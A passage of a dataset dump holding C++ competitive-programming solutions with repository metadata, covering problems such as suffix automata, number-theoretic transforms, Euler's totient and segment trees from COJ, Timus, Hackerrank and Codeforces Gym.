cnt[cur];\r\n\t\t\tcnt[cur]++;\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38580644130706787, "alphanum_fraction": 0.42451614141464233, "avg_line_length": 15.222222328186035, "blob_id": "902b8e14a3b5590c129608eccf6d0f4b52e71b95", "content_id": "3f90d6a0975e84a2371ee0bac48968174d41e776", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 775, "license_type": "no_license", "max_line_length": 78, "num_lines": 45, "path": "/COJ/eliogovea-cojAC/eliogovea-p3316-Accepted-s814126.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1e9 + 7;\r\n\r\nll power(ll x, ll n) {\r\n\tll res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = (res * x) % mod;\r\n\t\t}\r\n\t\tx = (x * x) % mod;\r\n\t\tn >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint t;\r\nll K, m;\r\nll p[5000], k[5000];\r\nll pi[5000];\r\nll g[2000];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> K >> m;\r\n\t\tll res = 1;\r\n\t\tpi[0] = 1;\r\n\t\tll ans = 1;\r\n\t\tfor (int i = 1; i <= m; i++) {\r\n\t\t\tcin >> p[i] >> k[i];\r\n\t\t\t//pi[i] = (pi[i - 1] * power(p[i], k[i])) % mod;\r\n\t\t\tg[i] = (power(p[i], K * k[i]) - power(p[i], K * (k[i] - 1LL)) + mod) % mod;\r\n\t\t\tans = (ans * g[i]) % mod;\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3417721390724182, "alphanum_fraction": 0.3488045036792755, "avg_line_length": 17.75, "blob_id": "4f434be42d9fe1ae22fd8155617e22c907fd777f", "content_id": "f2be8325c5016f035d14377714526a6c96611034", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 711, "license_type": "no_license", "max_line_length": 54, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p3351-Accepted-s827145.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t;\r\nstring s;\r\n\r\nconst string v = \"AHIMOTUVWXY\";\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> s;\r\n\t\tbool ok = true;\r\n\t\tfor (int i = 0; i < s.size(); i++) {\r\n bool valid = false;\r\n for (int j = 0; j < v.size(); j++) {\r\n if (v[j] == s[i]) {\r\n valid = true;\r\n }\r\n }\r\n if (!valid) {\r\n ok = false;\r\n break;\r\n }\r\n\t\t}\r\n\t\tfor (int i = 0, j = s.size() - 1; i < j; i++, j--) {\r\n\t\t\tif (s[i] != s[j]) {\r\n\t\t\t\tok = false;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << (ok ? \"YES\" : \"NO\") << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.5040983557701111, "alphanum_fraction": 0.5163934230804443, "avg_line_length": 18.33333396911621, "blob_id": "20ec058092a100166925531ac5070a71e50d20db", "content_id": "7ae90a10e0408a11bf7db7ee0220039556bbfb77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 244, "license_type": "no_license", "max_line_length": 45, "num_lines": 12, "path": "/COJ/eliogovea-cojAC/eliogovea-p2146-Accepted-s465677.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nunsigned long long v,d;\r\n\r\nint main(){\r\n std::ios::sync_with_stdio(false);\r\n cin >> d >> v;\r\n if(d==(v*(v-1))/2-v)cout << \"yes\"<< endl;\r\n else cout << \"no\" << endl;\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.37037035822868347, "alphanum_fraction": 0.3923611044883728, "avg_line_length": 14.301886558532715, "blob_id": "d1ce1d8c7270b1559faa3b84904924c8d4ae643a", "content_id": "e1374553eacef3209d7c1a483c74c118da73f80f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 864, "license_type": "no_license", "max_line_length": 68, "num_lines": 53, "path": "/COJ/eliogovea-cojAC/eliogovea-p3324-Accepted-s844456.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst int N = 1000000;\r\n\r\nbool criba[N + 5];\r\n\r\nvector<int> p;\r\n\r\ninline LL phi(LL n) {\r\n\tLL res = n;\r\n\tfor (int i = 0; i < p.size() && (long long)p[i] * p[i] <= n; i++) {\r\n\t\tif (n % p[i] == 0) {\r\n\t\t\tres -= res / p[i];\r\n\t\t\twhile (n % p[i] == 0) {\r\n\t\t\t\tn /= p[i];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (n > 1) {\r\n\t\tres -= res / n;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 2; i * i <= N; i++) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tfor (int j = i * i; j <= N; j += i) {\r\n\t\t\t\tcriba[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tp.push_back(2);\r\n\tfor (int i = 3; i <= N; i += 2) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tp.push_back(i);\r\n\t\t}\r\n\t}\r\n\tLL n;\r\n\twhile (cin >> n && n) {\r\n if (n == 1) {\r\n cout << \"2\\n\";\r\n continue;\r\n }\r\n\t\tcout << phi(n) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.5390625, "alphanum_fraction": 0.58203125, "avg_line_length": 17.285715103149414, "blob_id": "9634825f0d15cdc201acc9db10f36893b33cc41e", "content_id": "344d841d3228f3e9e2f018a3807ba4ddb8102805", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 256, "license_type": "no_license", "max_line_length": 54, "num_lines": 14, "path": "/Codeforces-Gym/100112 - 2012 Nordic Collegiate Programming Contest (NCPC)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012 Nordic Collegiate Programming Contest (NCPC)\n// 100112A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tstring a, b;\n\tcin >> a >> b;\n\tcout << (b.size() <= a.size() ? \"go\" : \"no\") << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4379478394985199, "alphanum_fraction": 0.45858412981033325, "avg_line_length": 17.617977142333984, "blob_id": "f1200da252efd23dcfd59e747de40b23fc578346", "content_id": "ac10aeb347e35d9ffa3ca40342ee9c9f856779fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3489, "license_type": "no_license", "max_line_length": 59, "num_lines": 178, "path": "/Timus/1517-7208829.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1517\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXS = 2 * 2 * 100000 + 5;\r\nconst int ALPH = 26;\r\n\r\nint length[MAXS];\r\nint next[MAXS][ALPH];\r\nint suffixLink[MAXS];\r\n\r\nint size;\r\nint last;\r\n\r\nint createNewNode(int _length) {\r\n int now = size;\r\n size++;\r\n\tlength[now] = _length;\r\n\tfor (int c = 0; c < ALPH; c++) {\r\n\t\tnext[now][c] = -1;\r\n\t}\r\n\tsuffixLink[now] = -1;\r\n\treturn now;\r\n}\r\n\r\nint createClone(int from, int _length) {\r\n\tint now = size;\r\n\tsize++;\r\n\tlength[now] = _length;\r\n\tfor (int c = 0; c < ALPH; c++) {\r\n\t\tnext[now][c] = next[from][c];\r\n\t}\r\n\tsuffixLink[now] = suffixLink[from];\r\n\treturn now;\r\n}\r\n\r\n\r\nvoid init() {\r\n\tsize = 0;\r\n\tlast = createNewNode(0);\r\n}\r\n\r\nvoid add(int c) {\r\n\tint p = last;\r\n\tif (next[p][c] != -1) {\r\n\t\tint q = next[p][c];\r\n\t\tif (length[p] + 1 == length[q]) {\r\n\t\t\tlast = q;\r\n\t\t} else {\r\n\t\t\tint clone = createClone(q, length[p] + 1);\r\n\t\t\tsuffixLink[q] = clone;\r\n\t\t\twhile (p != -1 && next[p][c] == q) {\r\n\t\t\t\tnext[p][c] = clone;\r\n\t\t\t}\r\n\t\t\tlast = clone;\r\n\t\t}\r\n\t} else {\r\n\t\tint cur = createNewNode(length[p] + 1);\r\n\t\twhile (p != -1 && next[p][c] == -1) {\r\n\t\t\tnext[p][c] = cur;\r\n\t\t\tp = suffixLink[p];\r\n\t\t}\r\n\t\tif (p == -1) {\r\n\t\t\tsuffixLink[cur] = 0;\r\n\t\t} else {\r\n\t\t\tint q = next[p][c];\r\n\t\t\tif (length[p] + 1 == length[q]) {\r\n\t\t\t\tsuffixLink[cur] = q;\r\n\t\t\t} else {\r\n\t\t\t\tint clone = createClone(q, length[p] + 1);\r\n\t\t\t\tsuffixLink[q] = clone;\r\n\t\t\t\tsuffixLink[cur] = clone;\r\n\t\t\t\twhile (p != -1 && next[p][c] == q) {\r\n\t\t\t\t\tnext[p][c] = clone;\r\n\t\t\t\t\tp = suffixLink[p];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tlast = cur;\r\n\t}\r\n}\r\n\r\nbool used[3][MAXS];\r\n\r\nint cnt[MAXS];\r\nint order[MAXS];\r\nint from[MAXS];\r\nchar let[MAXS];\r\n\r\nstring LCS(string a, string b) {\r\n\tfor (int i = 0; i < 2; i++) {\r\n\t\tfor (int j = 0; j < 2 * (a.size() + b.size()) + 1; j++) {\r\n\t\t\tused[i][j] = false;\r\n\t\t}\r\n\t}\r\n\tinit();\r\n\tfor (int i = 0; i < a.size(); i++) {\r\n\t\tadd(a[i] - 'A');\r\n\t\tused[0][last] = true;\r\n\t}\r\n\tlast = 0;\r\n\tfor (int i = 0; i < b.size(); i++) {\r\n\t\tadd(b[i] - 'A');\r\n\t\tused[1][last] = true;\r\n\t}\r\n\tint maxLength = 0;\r\n\tfor (int i = 1; i < size; i++) {\r\n\t\tmaxLength = max(maxLength, length[i]);\r\n\t}\r\n\t/// counting sort\r\n\tfor (int i = 0; i <= maxLength; i++) {\r\n cnt[i] = 0;\r\n\t}\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\tcnt[length[i]]++;\r\n\t}\r\n\tfor (int i = 1; i <= maxLength; i++) {\r\n\t\tcnt[i] += cnt[i - 1];\r\n\t}\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\torder[--cnt[length[i]]] = i;\r\n\t}\r\n\tfor (int i = size - 1; i > 0; i--) {\r\n\t\tint s = order[i];\r\n\t\tfor (int j = 0; j < 2; j++) {\r\n\t\t\tif (used[j][s]) {\r\n\t\t\t\tused[j][suffixLink[s]] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfrom[0] = -1;\r\n\tfor (int s = 0; s < size; s++) {\r\n\t\tfor (int c = 0; c < ALPH; c++) {\r\n\t\t\tif (next[s][c] != -1) {\r\n\t\t\t\tif (length[s] + 1 == length[next[s][c]]) {\r\n\t\t\t\t\tfrom[next[s][c]] = s;\r\n\t\t\t\t\tlet[next[s][c]] = 'A' + c;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint ansLength = 0;\r\n\tfor (int s = 0; s < size; s++) {\r\n\t\tif (used[0][s] && used[1][s]) {\r\n\t\t\tansLength = max(ansLength, length[s]);\r\n\t\t}\r\n\t}\r\n\tstring ans;\r\n\tfor (int s = 0; s < size; s++) {\r\n\t\tif (length[s] == ansLength && used[0][s] && used[1][s]) {\r\n\t\t\tstring tmp;\r\n\t\t\tint now = s;\r\n\t\t\twhile (now != 0) {\r\n\t\t\t\ttmp += let[now];\r\n\t\t\t\tnow = from[now];\r\n\t\t\t}\r\n\t\t\treverse(tmp.begin(), tmp.end());\r\n\t\t\tif (ans == \"\" || tmp < ans) {\r\n ans = tmp;\r\n }\r\n\t\t}\r\n\t}\r\n\treturn ans;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n;\r\n\tstring a, b;\r\n\r\n\tcin >> n >> a >> b;\r\n\tcout << LCS(a, b) << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.544208824634552, "alphanum_fraction": 0.5523654222488403, "avg_line_length": 19.99315071105957, "blob_id": "23ac44b8c3617f7ac9133ec3992daedcea2b5203", "content_id": "827cc28169d905457edeb0783076c4f82553c9ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3065, "license_type": "no_license", "max_line_length": 106, "num_lines": 146, "path": "/Hackerrank/ashton-and-string.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// https://www.hackerrank.com/challenges/ashton-and-string\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int L = 100 * 1000;\n\nstruct sa_node {\n\tint max_length;\n\tmap <char, sa_node *> go;\n\tsa_node * suffix_link;\n\tvector <pair <char, sa_node *> > inv_suffix_link;\n\tint pos;\n\tbool visited;\n};\n\nconst int SIZE = 2 * L + 10;\n\nsa_node all[SIZE];\nsa_node * _free;\n\nsa_node * get_new(int max_length, int pos) {\n\t_free->max_length = max_length;\n\t_free->go.clear();\n\t_free->suffix_link = nullptr;\n\t_free->inv_suffix_link.clear();\n\t_free->pos = pos;\n\t_free->visited = false;\n\treturn _free++;\n}\n\nsa_node * get_clone(sa_node * u, int max_length) {\n\t_free->max_length = max_length;\n\t_free->go = u->go;\n\t_free->suffix_link = u->suffix_link;\n\t_free->inv_suffix_link.clear();\n\t_free->pos = u->pos;\n\t_free->visited = false;\n\treturn _free++;\n}\n\nsa_node * sa_reset() {\n\t_free = all;\n\treturn get_new(0, -1);\n}\n\nsa_node * add(sa_node * root, sa_node * p, char c, int pos) {\n\tsa_node * l = get_new(p->max_length + 1, pos);\n\twhile (p != nullptr && p->go.find(c) == p->go.end()) {\n\t\tp->go[c] = l;\n\t\tp = p->suffix_link;\n\t}\n\tif (p == nullptr) {\n\t\tl->suffix_link = root;\n\t} else {\n\t\tsa_node * q = p->go[c];\n\t\tif (p->max_length + 1 == q->max_length) {\n\t\t\tl->suffix_link = q;\n\t\t} else {\n\t\t\tsa_node * clone_q = get_clone(q, p->max_length + 1);\n\t\t\tl->suffix_link = clone_q;\n\t\t\tq->suffix_link = clone_q;\n\t\t\twhile (p != nullptr && p != nullptr && p->go[c] == q) {\n\t\t\t\tp->go[c] = clone_q;\n\t\t\t\tp = p->suffix_link;\n\t\t\t}\n\t\t}\n\t}\n\treturn l;\n}\n\nvoid dfs_sa(sa_node * now, const string & s) {\n\tnow->visited = true;\n\tif (now->suffix_link != nullptr) {\n\t\tnow->suffix_link->inv_suffix_link.push_back(make_pair(s[now->pos + now->suffix_link->max_length], now));\n\t}\n\tfor (auto & to : now->go) {\n\t\tif (!to.second->visited) {\n\t\t\tdfs_sa(to.second, s);\n\t\t}\n\t}\n}\n\ninline long long calc(long long x) {\n\treturn x * (x + 1) / 2LL;\n}\n\nchar dfs_st(sa_node * root, sa_node * now, long long & k, const string & s) {\n\tif (now != root) {\n\t\tlong long cnt = calc(now->max_length) - calc(now->suffix_link->max_length);\n\t\tif (cnt < k) {\n\t\t\tk -= cnt;\n\t\t} else {\n\t\t\tint lo = now->suffix_link->max_length;\n\t\t\tint hi = now->max_length;\n\t\t\tint p = lo;\n\t\t\twhile (lo <= hi) {\n\t\t\t\tint mid = (lo + hi) >> 1;\n\t\t\t\tlong long tmid = calc(mid) - calc(now->suffix_link->max_length);\n\t\t\t\tif (tmid < k) {\n\t\t\t\t\tp = mid;\n\t\t\t\t\tlo = mid + 1;\n\t\t\t\t} else {\n\t\t\t\t\thi = mid - 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\tk -= calc(p) - calc(now->suffix_link->max_length);\n\t\t\treturn s[now->pos + k - 1];\n\t\t}\n\t}\n\tsort(now->inv_suffix_link.begin(), now->inv_suffix_link.end());\n\tfor (auto to : now->inv_suffix_link) {\n\t\tchar res = dfs_st(root, to.second, k, s);\n\t\tif (res) {\n\t\t\treturn res;\n\t\t}\n\t}\n\treturn 0;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t\n\tint t;\n\tcin >> t;\n\t\n\twhile (t--) {\n\t\tstring s;\n\t\tlong long k;\n\t\t\n\t\tcin >> s >> k;\n\t\t\n\t\tsa_node * root = sa_reset();\n\t\tsa_node * last = root;\n\t\t\n\t\tfor (int i = (int)s.size() - 1; i >= 0; i--) {\n\t\t\tlast = add(root, last, s[i], i);\n\t\t}\n\t\t\n\t\tdfs_sa(root, s);\n\t\tcout << dfs_st(root, root, k, s) << \"\\n\";\n\t\t\n\t}\n}\n" }, { "alpha_fraction": 0.43644067645072937, "alphanum_fraction": 0.4512711763381958, "avg_line_length": 16.509803771972656, "blob_id": "318c38d7fbef544d6c4c4e9d1bc5dd85572f50ea", "content_id": "600a68d9af61505d74af9f702cb8fae33eedd228", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 944, "license_type": "no_license", "max_line_length": 52, "num_lines": 51, "path": "/COJ/eliogovea-cojAC/eliogovea-p1531-Accepted-s632079.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\ntypedef vector<int> vi;\r\ntypedef vi::iterator viit;\r\n\r\nconst int MAXN = 100005;\r\n\r\nint tc, n, r;\r\nvi G[MAXN];\r\nvector<int> v;\r\n\r\nint dfs(int u) {\r\n\tint c = 0, x, tot = 0;\r\n\tbool b = true;\r\n\tfor (viit i = G[u].begin(); i != G[u].end(); i++) {\r\n\t\tx = dfs(*i);\r\n\t\tif (c) b &= (x == c);\r\n\t\telse c = x;\r\n\t\ttot += x;\r\n\t}\r\n\ttot++;\r\n\tb &= (n - tot == c || c == 0 || n - tot == 0);\r\n\tif (b) v.push_back(u);\r\n\treturn tot;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\tG[i].clear();\r\n\t\tfor (int i = 1, x; i <= n; i++) {\r\n\t\t\tcin >> x;\r\n\t\t\tif (x == 0) r = i;\r\n\t\t\telse G[x].push_back(i);\r\n\t\t}\r\n\t\tv.clear();\r\n\t\tdfs(r);\r\n\t\tsort(v.begin(), v.end());\r\n\t\tcout << v.size();\r\n\t\tfor (int i = 0; i < v.size(); i++)\r\n\t\t\tcout << ' ' << v[i];\r\n\t\tcout << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36802610754966736, "alphanum_fraction": 0.39641109108924866, "avg_line_length": 15.567567825317383, "blob_id": "2db610c1edf291164af2e7cc455a6d3436829e67", "content_id": "13d33f5fafc8fbda8a636de57074080c6ab04f42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3065, "license_type": "no_license", "max_line_length": 55, "num_lines": 185, "path": "/Caribbean-Training-Camp-2018/Contest_4/Solutions/H4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int M = 7340033;\n\n\tvector <int> root;\n\tvector <int> invRoot;\n\n\tbool ready = false;\n\n\tinline void add(int & a, int b) {\n\t\ta += b;\n\t\tif (a >= M) {\n\t\t\ta -= M;\n\t\t}\n\t}\n\n\tinline int mul(int a, int b) {\n\t\treturn (long long)a * b % M;\n\t}\n\n\tinline int power(int x, int n) {\n\t\tint y = 1;\n\t\twhile (n) {\n\t\t\tif (n & 1) {\n\t\t\t\ty = mul(y, x);\n\t\t\t}\n\t\t\tx = mul(x, x);\n\t\t\tn >>= 1;\n\t\t}\n\t\treturn y;\n\t}\n\n\tvoid calcRoots() {\n\t\tready = true;\n\t\tint a = 2;\n\t\twhile (power(a, (M - 1) / 2) != M - 1) {\n\t\t\ta++;\n\t\t}\n\t\tfor (int l = 1; (M - 1) % l == 0; l <<= 1) {\n\t\t\troot.push_back(power(a, (M - 1) / l));\n\t\t\tinvRoot.push_back(power(root.back(), M - 2));\n\t\t}\n\t}\n\n\tvoid transform(vector <int> & P, int n, bool invert) {\n\t\tint ln = 0;\n\t\twhile ((1 << ln) < n) {\n\t\t\tln++;\n\t\t}\n\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tint x = i;\n\t\t\tint y = 0;\n\t\t\tfor (int j = 0; j < ln; j++) {\n\t\t\t\ty = (y << 1) | (x & 1);\n\t\t\t\tx >>= 1;\n\t\t\t}\n\t\t\tif (y < i) {\n\t\t\t\tswap(P[y], P[i]);\n\t\t\t}\n\t\t}\n\n\t\tfor (int e = 1; (1 << e) <= n; e++) {\n\t\t\tint len = (1 << e);\n\t\t\tint half = len >> 1;\n\t\t\tint step = root[e];\n\t\t\tif (invert) {\n\t\t\t\tstep = invRoot[e];\n\t\t\t}\n\t\t\tfor (int i = 0; i < n; i += len) {\n\t\t\t\tint w = 1;\n\t\t\t\tfor (int j = 0; j < half; j++) {\n\t\t\t\t\tint u = P[i + j];\n\t\t\t\t\tint v = mul(P[i + j + half], w);\n\t\t\t\t\tP[i + j] = u;\n\t\t\t\t\tadd(P[i + j], v);\n\t\t\t\t\tP[i + j + half] = u;\n\t\t\t\t\tadd(P[i + j + half], M - v);\n\t\t\t\t\tw = mul(w, step);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (invert) {\n\t\t\tint in = power(n, M - 2);\n\t\t\tfor (int i = 0; i < n; i++) {\n\t\t\t\tP[i] = mul(P[i], in);\n\t\t\t}\n\t\t}\n\t}\n\n\tvector <int> inverse(vector <int> P, int m) {\n\t\tif (P[0] == 0) {\n\t\t\treturn vector <int> ();\n\t\t}\n\n\t\tint n = 1;\n\t\twhile (n < P.size()) {\n\t\t\tn <<= 1;\n\t\t}\n\n\t\tP.resize(n);\n\n\t\tvector <int> Q(2 * n);\n\t\tvector <int> R(2 * n);\n\t\tvector <int> S(2 * n);\n\n\t\tR[0] = power(P[0], M - 2);\n\t\tfor (int k = 2; k <= n; k *= 2) {\n\t\t\tfor (int i = 0; i < k; i++) {\n\t\t\t\tS[i] = R[i];\n\t\t\t}\n\t\t\tfor (int i = 0; i < min(k, n); i++) {\n\t\t\t\tQ[i] = P[i];\n\t\t\t}\n\t\t\tfor (int i = min(k, n); i < 2 * k; i++) {\n\t\t\t\tQ[i] = 0;\n\t\t\t}\n\t\t\ttransform(S, 2 * k, false);\n\t\t\ttransform(Q, 2 * k, false);\n\t\t\tfor (int i = 0; i < 2 * k; i++) {\n\t\t\t\tS[i] = mul(S[i], mul(S[i], Q[i]));\n\t\t\t}\n\t\t\ttransform(S, 2 * k, true);\n\t\t\tfor (int i = 0; i < k; i++) {\n\t\t\t\tadd(R[i], R[i]);\n\t\t\t\tadd(R[i], M - S[i]);\n\t\t\t}\n\t\t}\n\n\t\treturn R;\n\t}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tcalcRoots();\n\n\tint n;\n\tcin >> n;\n\n\tvector <int> P(n + 1);\n\n\tvector <int> f(n + 1);\n\tf[0] = 1;\n\tfor (int i = 1; i <= n; i++) {\n\t\tf[i] = mul(f[i - 1], i);\n\t}\n\n\tvector <int> invf(n + 1);\n\tinvf[n] = power(f[n], M - 2);\n\tfor (int i = n - 1; i >= 0; i--) {\n\t\tinvf[i] = mul(invf[i + 1], i + 1);\n\t}\n\n\tP[0] = 1;\n\tP[1] = 1;\n\tfor (int i = 2, x = 2; i <= n; i++) {\n\t\tP[i] = mul(P[i - 1], mul(x ,mul(f[i - 1], invf[i])));\n\t\tadd(x, x);\n\t}\n\n\n\tauto Q = inverse(P, n + 1);\n\tfor (int i = 0; i < Q.size(); i++) {\n\t\tQ[i] = M - Q[i];\n\t\tif (Q[i] == M) {\n\t\t\tQ[i] = 0;\n\t\t}\n\t}\n\n\tadd(Q[0], 1);\n\n\tfor (int i = 1; i <= n; i++) {\n\t\tcout << mul(Q[i], f[i]);\n\t\tif (i + 1 <= n) {\n\t\t\tcout << \" \";\n\t\t}\n\t}\n\tcout << \"\\n\";\n\n}\n" }, { "alpha_fraction": 0.43523314595222473, "alphanum_fraction": 0.4455958604812622, "avg_line_length": 15.363636016845703, "blob_id": "8089cf67998632f71f5f2d6de1c1123a3738ae7d", "content_id": "5191d50e875bd5f8d7a41a8a93bb19d91b841461", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 386, "license_type": "no_license", "max_line_length": 57, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2658-Accepted-s542490.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint cas,a,b,c,cant,dif,first,sum;\r\n\r\nint main()\r\n{\r\n\tfor(scanf(\"%d\",&cas);cas--;)\r\n\t{\r\n\t\tscanf(\"%d%d%d\",&a,&b,&c);\r\n\r\n\t\tcant=2*c/(a+b);\r\n\t\tdif=(b-a)/(cant-5);\r\n\r\n\t\tprintf(\"%d\\n\",cant);\r\n\t\tfor(first=a-2*dif,sum=0; sum<=c; first+=dif,sum+=first)\r\n\t\t{\r\n printf(\"%d\",first);\r\n if(sum<c)printf(\" \");\r\n else printf(\"\\n\");\r\n\t\t}\r\n\t}\r\n}\r\n\r\n\r\n" }, { "alpha_fraction": 0.4334351718425751, "alphanum_fraction": 0.4692274034023285, "avg_line_length": 16.097015380859375, "blob_id": "4548f9093b19deb792794c91b8c1044b919eba5f", "content_id": "7fa74ce7fc96d9c72c30a9097ff47ebe0c407a18", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2291, "license_type": "no_license", "max_line_length": 63, "num_lines": 134, "path": "/Codeforces-Gym/100523 - 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7\n// 100523E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 500005;\nconst int INF = 1e9 + 7;\n\nint n, m, d, ll;\nint x[N];\n\nstruct data {\n\tint mn;\n\tint freq;\n\tdata() {\n\t\tmn = INF;\n\t\tfreq = 0;\n\t}\n\tdata(int _mn, int _freq) {\n mn = _mn;\n freq = _freq;\n\t}\n};\n\ndata operator + (const data &a, const data &b) {\n\tif (a.mn < b.mn) {\n\t\treturn a;\n\t}\n\tif (b.mn < a.mn) {\n\t\treturn b;\n\t}\n\treturn data(a.mn, a.freq + b.freq);\n}\n\ndata st[4 * N];\n\nint lazy[4 * N];\n\nvoid build(int x, int l, int r) {\n\tif (l == r) {\n\t\tst[x].mn = 0;\n\t\tst[x].freq = 1;\n\t} else {\n\t\tint mid = (l + r) >> 1;\n\t\tbuild(2 * x, l, mid);\n\t\tbuild(2 * x + 1, mid + 1, r);\n\t\tst[x] = st[2 * x] + st[2 * x + 1];\n\t}\n}\n\nvoid push(int x, int l, int r) {\n\tif (lazy[x] != 0) {\n\t\tst[x].mn += lazy[x];\n\t\tif (l != r) {\n\t\t\tlazy[2 * x] += lazy[x];\n\t\t\tlazy[2 * x + 1] += lazy[x];\n\t\t}\n\t\tlazy[x] = 0;\n\t}\n}\n\nvoid update(int x, int l, int r, int ul, int ur, int val) {\n\tpush(x, l, r);\n\tif (l > ur || r < ul) {\n\t\treturn;\n\t}\n\tif (l >= ul && r <= ur) {\n\t\tlazy[x] += val;\n\t\tpush(x, l, r);\n\t} else {\n\t\tint mid = (l + r) >> 1;\n\t\tupdate(2 * x, l, mid, ul, ur, val);\n\t\tupdate(2 * x + 1, mid + 1, r, ul, ur, val);\n\t\tst[x] = st[2 * x] + st[2 * x + 1];\n\t}\n}\n\nvoid update(int center, int val) {\\\n\tint l = lower_bound(x, x + n, center - ll) - x;\n\tint r = upper_bound(x, x + n, center + ll) - x - 1;\n\tif (r < l) {\n\t\treturn;\n\t}\n\tupdate(1, 1, n, l + 1, r + 1, val);\n}\n\ndata query(int x, int l, int r, int ql, int qr) {\n\tpush(x, l, r);\n\tif (l > qr || r < ql) {\n\t\treturn data();\n\t}\n\tif (l >= ql && r <= qr) {\n\t\treturn st[x];\n\t}\n\tint mid = (l + r) >> 1;\n\tdata q1 = query(2 * x, l, mid, ql, qr);\n\tdata q2 = query(2 * x + 1, mid + 1, r, ql, qr);\n\treturn q1 + q2;\n}\n\nint query() {\n\tdata res = query(1, 1, n, 1, n);\n\tif (res.mn != 0) {\n\t\treturn n;\n\t}\n\treturn n - 